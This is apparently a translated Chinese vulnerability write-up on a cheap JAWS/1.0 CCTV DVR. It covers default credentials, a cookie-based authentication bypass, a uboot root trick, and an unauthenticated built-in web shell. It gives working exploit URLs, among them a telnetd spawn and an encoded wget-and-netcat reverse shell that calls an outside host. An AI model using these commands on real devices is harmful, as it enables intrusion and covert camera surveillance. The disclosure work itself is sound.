闭路电视探头究竟有多不安全？
DVR会把多个摄像头的录像储存到一个硬盘上。它们不仅能够在屏幕上显示图片，大部分还能联网，用户可以通过浏览器或者客户端来连接。
当然商家和户主都会想要远程进入DVR，DVR设备通过端口转发连接到互联网，也正因为如此，我们可以在Shodan上找到大量的DVR设备。
所以我们打算买个廉价的DVR，看看还会不会有更加糟糕的情况。
经过几小时的挖掘我们便发现了以下的问题：
容易被找到
这款DVR会运行一个客户web服务器，它的HTTP服务器头很具标志性：“JAWS/1.0”。在Shodan上搜索这个关键字我们找到44,000个设备。
弱口令问题
默认情况下，这款设备的用户名是admin，密码为空。
连接电视后使用DVR的本地界面就可以更改密码。但设备中没有键盘，所以可以肯定大量的这款DVR使用的是默认密码。
虽然弱口令已经是老掉牙的问题了，但是还是物联网领域中普遍的问题。
Web验证绕过
首次访问DVR的时候显示的是index.html页面，这个页面可以让你输入用户名密码，验证成功后，你就会被重定向到view2.html。
奇怪的是，当我们清空cookies，访问view2.html时，我们看到页面渲染了一下，然后再把我们重定向到index.html让我们输密码。
这基本上就是JavaScript客户端验证的标志了。检查view2.js，我们发现是这样的：
$(document).ready(function(){
dvr_camcnt =Cookies.get(“dvr_camcnt");
dvr_usr =Cookies.get("dvr_usr");
dvr_pwd =Cookies.get("dvr_pwd");
if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)
{
location.href= "/index.html";
}
只要这三个cookie有任意值，你就可以访问了(dvr_camcnt得是2、4、8或24)。
手动设置这些cookie我们就能访问了。也就是说，我们无需知道用户名密码。
打开串号控制台
虽然拿到Web界面控制已经很好玩了，但我还要root shell。
打开机器上面的盖子之后，我们发现了J18。这是个115200串口，虽然我能看到输出，但是没有shell，也没地方输入。
重启设备后我们发现它使用的是uboot，这是一款非常常见的开源boot loader。按任意键就能中断uboot。不过你只有一秒钟中断uboot，所以可能得多尝试几次。
我们现在就进入了uboot控制台。我们可以修改启动参数，改为单用户模式，我们就无需密码登陆了。
setenv bootargs ${bootargs) single
boot
现在DVR就进入了单用户模式，我们也有了root shell，我们可以做点猥琐的事了。
内置web shell
本地root shell不错，但我还想要远程shell。
查看固件后我们发现，大部分的功能都是在dvr_app里面的，包括web服务器。尽管web界面中有cgi-bin目录，但我在文件服务器上没找到这个目录，有可能dvr_app在内部处理了这个目录。这样的情况在嵌入设备中非常普遍。
对这个二进制文件使用strings命令，就能看到cgi-bin了。而且我们还看到了其他的值，包括moo和shell。
访问moo目录是这么个情况：
访问shell目录会一直加载，但访问shell?ps时就能看到进程列表了：
因此我们就拿到了一个远程，并且无需认证的shell，这个shell无法禁止，是设备里面自带的。
无需密码登录Telnet
设备在23端口运行telnet，但需要root密码。即使我们能够看到/etc/passwd和解密hash，我们还是拿不到密码。
我们通过密码破解器看看能不能拿到密码，但这要花点时间。
为了解决这个问题，我们使用远程web shell开启一个新的已经登录的telnet daemon：
http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
现在我们可以登录telnet了。
反弹shell
攻击者可以用反弹shell让DVR反向连接到他所控制的主机。只要用户有出口连接，这招就很管用，这是绕过NAT和防火墙的好办法。家庭企业和小型企业网络大多不会进行出站的过滤。
一般我们会用netcat建立反弹shell。跟其他小型嵌入式设备一样，这款DVR使用busybox来提供发亮的shell功能。这些命令是任意的。很遗憾netcat不能用，但我们可以解决。
DVR使用的是ARM处理器。也就是说基本上不可能直接下载netcat或busybox了，我们得进行编译。
为嵌入式系统进行编译很尴尬的，尤其是你得要跟硬件交互的时候。还好busybox和netcat的要求不多。我们只需要为架构创建静态链接二进制。这个得是要静态链接的，这样就能避免对库的依赖。这样会使二进制文件变大，不过这款设备上没有磁盘空间挺宽裕。
编译完成后我们就拿到DVR上试试。
找一个可写目录。大部分的文件系统都是只读的，你甚至无法更改密码添加用户。这毕竟是个DVR，所以我们弄了个硬盘，加载在/root/rec/a1下。
用wget下载编译的busybox二进制到这个目录
把busybox设为可执行
运行netcat反弹shell
命令如下：
http://192.168.3.101/shell?cd /root/rec/a1 && wget%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh
Wget的网址得要经过编码，实际的网址是：
http://1.2.3.4/busybox
我们服务器上的netcat就监听到一个连接了，通过访问构造好的URL我们就可以与DVR进行交互了。
发送截屏至硬编码的邮箱
进一步检查dvr_app二进制，我们发现了一些很奇怪的功能。
不知道为何，第一个摄像头的截屏会被发送到lawishere@yeah.net。
发送DVR截屏的行为严重威胁到了隐私。
而且奇怪的是，有人曾经在Frank Law的GitHub页面上报告过这一情况：
https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1
然后他撤下了这个项目。
其他问题
事情到此并没有完全结束。这款设备还有其他的问题：
如果你通过web服务器获得了shell或者命令注入，你就没必要提权了，你已经是root了。
这款设备没有CSRF保护，你可以诱骗用户点击链接，就能以他们的身份执行动作。
没有帐号锁定或者防爆破措施。你可以一直猜密码下去，唯一的限制频率的就是设备本身的运行速度。
没有HTTPS。所有通信都是以明文方式发送，可以被拦截，可以被篡改。
没有固件升级
我们的建议
把这些设备放到互联网上，你就会面临严重的安全风险。如果你把web界面端口转发，你就等于让攻击者完全控制这个设备。然后他们还可以以此作为跳板从内部攻击你网络中的其他设备。
官方 